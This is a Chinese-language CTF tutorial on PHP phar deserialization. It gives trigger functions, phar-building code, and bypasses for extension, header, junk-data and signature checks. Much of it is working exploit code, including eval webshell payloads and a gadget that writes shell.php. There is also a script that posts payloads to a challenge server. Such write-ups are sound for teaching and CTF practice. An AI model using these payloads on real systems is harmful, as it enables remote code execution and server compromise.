概念

phar文件本质上是一种压缩文件,在使用phar协议文件包含时,也是可以直接读取zip文件的。使用phar://协议读取文件时,文件会被解析成phar对象,phar对象内的以序列化形式存储的用户自定义元数据(metadata)信息会被反序列化

流程:构造phar(元数据中含有恶意序列化内容)文件—>上传—>触发反序列化

最后一步是寻找触发phar文件元数据反序列化。其实php中有一大部分的文件系统函数在通过phar://伪协议解析phar文件时都会将meta-data进行反序列化

利用条件

1
2
3
4
5
6
7
8
9
10
11
1.phar文件能够上传至服务器 
//即要求存在include、file_get_contents、file_put_contents、copy、file、file_exists、is_executable、is_file、is_dir、is_link、is_writable、fileperms、fileinode、filesize、fileowner、filegroup、fileatime、filemtime、filectime、filetype、getimagesize、exif_read_data、stat、lstat、touch、md5_filefopen(),copy(),file_exist(),filesize()这种函数

2.要有可利用的魔术方法
//这个的话用一位大师傅的话说就是利用魔术方法作为"跳板"

3.文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
//一般利用姿势是上传Phar文件后通过伪协议Phar来实现反序列化,伪协议Phar格式是`Phar://`这种,如果这几个特殊字符被过滤就无法实现反序列化
4.php版本大于5.3.0

5.phar.readonly选项为OFF

可用函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
xmlwrite_open_uri
readgzfile
gzfile
mime_content_type
imagecreatefrompng
imagecreatefromgif
imagecreatefromjpeg
imagecreatefromwbmp
imagecreatefromxbm
imagecreatefromgd
imagecreatefromgd2
imageloadfont
simplexml_load_file
sha1_file
md5_file
getimagesize
unlink
highlight_file
show_source
php_strip_whitespace
parse_ini_file
readfile
rmdir
mkdir
file
file_get_contents
get_meta_tags
opendir
dir
scandir
fileatime
filectime
filegroup
fileinode
filemtime
fileowner
fileperms
filesize
filetype
file_exists
is_writable
is_writeable
is_readable
is_executable
is_file
is_dir
is_link
stat
lstat
touch
// zip
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');
//Postgres pgsqlCopyToFile和pg_trace同样也是能使用的,需要开启phar的写功能。
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://phar.phar/aa');
?>

phar生成后结构

php.ini中的phar.readonly选项,需要为Off(默认是on)

1
2
3
4
stub:phar文件的标志,必须要以xxx__HALT_COMPILER();?>结尾,否则无法识别,其中的.xxx可以是自定义内容
maifest:phar文件本质上是一种压缩文件,其中每个压缩文件的权限属性等信息都放在这个部分,这个部分还会以序列化的形式储存用户自定义的meta-data内容,这是漏洞利用最核心的地方
content:被压缩文件的内容
signature(可空):签名,放在末尾

image-20230310151415287

绕过后缀检查

phar文件是很容易绕过上传限制的,首先它的后缀是不限制的,改成什么phar://协议都可以解析,因此可以用来绕过后缀检查,在文件包含情况下,可以直接执行php代码方式如下:

test.php

1
<?php eval($_POST[1]);?>

把test.php压缩,改后缀.jpg

index.php

1
2
<?php
include('phar://./test.jpg/test.php')

绕过前后脏数据

由于签名存在,php会校验文件哈希值并且检查末尾是否为四位GBM,多一位都不行

一旦出现了脏数据,我们可以利用convertToExecutable函数,把phar文件转化为其他格式的phar文件,例如.tar.zip

PHP: Phar::convertToExecutable - Manual

  • 结尾脏数据

如果以.tar格式储存phar,那么由于tar的格式,末尾的脏数据不会影响解析

  • 开头脏数据

对于开头的脏数据,可以在制作phar文件时就提前构造好,类似于GIF89a文件头绕过这样也会被签名,然后提取脏数据后面的phar部分与脏数据拼接成合法的phar

1
2
3
4
5
6
7
8
9
10
$phar = new Phar("poc.phar"); //文件名
$phar->startBuffering();
/* 设置stub,必须要以__HALT_COMPILER(); ?>结尾 */
$phar->setStub("Type:INFO Messsage:"."<?php __HALT_COMPILER(); ?>");
/* 设置自定义的metadata,序列化存储,解析时会被反序列化 */
$phar->setMetaData($c);
/* 添加要压缩的文件 */
$phar->addFromString("test1.txt","test1");
//签名自动计算
$phar->stopBuffering();
  • 开头结尾都有脏数据

来看一个来自2021N1CTF–easyphp的例子

例中需要写入的log文件在开头有脏数据$log会一起传入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

CLASS FLAG {
//private $_flag;
public function __destruct(){
echo "FLAG: " . $this->_flag;
}
}

$ip = "172.17.0.1";
$log = 'Time: ' . date('Y-m-d H:i:s') . ' IP: [' . $ip . '], REQUEST: [], CONTENT: [';//写入文件开头脏数据
$data_len = strlen($log);

if(!file_exists("./phar.tar")){
$phar = new PharData(dirname(__FILE__) . "/phar.tar", 0, "phartest", Phar::TAR);
//利用PharData类,第一个参数获取当前文件目录然后拼接phar.tar为文件位置
//第二个参数0标识禁用压缩
//第三个参数phartest是Phar文件的别名
//第四个参数Phar::TAR指定Phar文件的格式为tar格式
$phar->startBuffering();
$o = new FLAG();
$phar->setMetadata($o);
$phar->addFromString($log, "test");
$phar->stopBuffering();
//没有setStub使用了默认值
file_put_contents("./phar.tar", "]\n", FILE_APPEND);
//把]\n追加到phar.tar中闭合 CONTENT: ['保证tar文件格式合法
}

$exp = file_get_contents("./phar.tar");
//echo $exp;
$post_exp = substr($exp, $data_len);
echo rawurlencode($post_exp);
//rawurlencode可以把空格转为%20

// var_dump(is_dir("phar://./phar.tar"));
//var_dump(is_dir("phar://./../../www/log/127.0.0.1/look_www.log"));

还有一个测试赛的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
unlink("a.phar.tar");
class Logger{
private $filename = "/var/www/html/shell.php";
private $endContent = '<?php eval($_POST["shell"]);?>';
}
$log = "Type:INFO Messsage:";
$log_len = strlen($log);

$phar = new Phar("a.phar"); //后缀名必须为phar
$phar = $phar->convertToExecutable(Phar::TAR); //会生成*.phar.tar**

$phar->startBuffering();

$phar->addFromString("Type:INFO Messsage:","");
//以字符串的形式添加一个文件到phar,tar文件开头是第一个添加文件的的文件名,注意添加的文件顺序不要错了
$phar->setStub("Type:INFO Messsage:"."<?php __HALT_COMPILER(); ?>"); //设置stub,这里Type:INFO Messsage:就可以忽略了

$test = new Logger();
$phar->setMetadata($test); //将自定义的meta-data存入manifest

//签名自动计算
$phar->stopBuffering();

$exp = file_get_contents("./a.phar.tar");
$post_exp = substr($exp, $log_len);
echo rawurlencode($post_exp); //urlencode输出数据流

绕过协议开头关键字

phar协议头,file_exist必须加,include可以不加

当环境限制了phar不能出现在其他字符的前面

1
2
3
4
5
$z='compress.bzip://phar:///test.phar/test.txt'
$z='compress.bzip2://phar:///test.phar/test.txt'
$z='compress.zlib://phar:///home/sx/test.phar/test.txt'
$z='php://filter/resource=phar:///test.phar/test.txt'
file_get_contents($z);

绕过内部关键字

phar文件生成时__HALT_COMPILER(); ?>前面没有<?php也可以

1
2
3
4
5
6
7
8
9
10
11
<?php
class aa{}
$o = new aa();
$filename = 'test.phar';
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("__HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();

更通用的是

由于phar文件在压缩后依然有效但内部关键字无法被识别,可以用来绕过phar文件格式检查

附一个之前的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import gzip
import re

url = 'http://1.14.71.254:28496/'

file = open("ph2.phar","rb") #打开文件
file_out = gzip.open("phar.zip","wb+")#创建压缩文件对象
file_out.writelines(file)
file_out.close()
file.close()

requests.post(
url,
params={
0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'

},
data={
0: open('phar.zip','rb').read()
}
) # 写入

res = requests.post(
url,
params={
0: 'O:1:"A":1:{s:6:"config";s:1:"r";}'
},
data={
0: 'phar://tmp/a.txt'
}
) # 触发
res.encoding='utf-8'
flag = re.compile('(NSSCTF\{.+?\})').findall(res.text)[0]
print(flag)

更换签名

在生成后想要直接修改内容需要更换新的签名

更换签名的脚本

1
2
3
4
5
6
7
8
from hashlib import sha1
with open('test.phar','rb') as file:
f = file.read()
s = f[:-28] # 读取开始到末尾除签名外内容 获取要签名的数据
h = f[-8:] # 读取最后8位的GBMB和签名flag 获取签名类型和GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB) 生成新的文件内容,主要是此时sha1正确了。
with open('newtest.phar','wb') as file:
file.write(newf) # 写入新文件

绕过GIF89a检查格式关键字

前面这个标志的格式为xxx<?php xxx; __HALT_COMPILER();?> 前面内容不限,这样可以在前面添加注入GIF98a这样的文件头绕过上传限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php 
class test{
public $name="qwq";
function __destruct()
{
echo $this->name;
}
}
$a = new test();
$a->name="phpinfo();";
$phartest=new phar('phartest.phar',0);//后缀名必须为phar
$phartest->startBuffering();//开始缓冲 Phar 写操作
$phartest->setMetadata($a);//自定义的meta-data存入manifest
$phartest->setStub("<?php __HALT_COMPILER();?>");//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测随意改后缀,直接写成__HALT_COMPILER();?>也可也
$phartest->addFromString("test.txt","test");//添加要压缩的文件
//签名自动计算
$phartest->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>

利用上述生成文件后反序列化

1
$phardemo = file_get_contents('phar://phartest.phar/test.txt');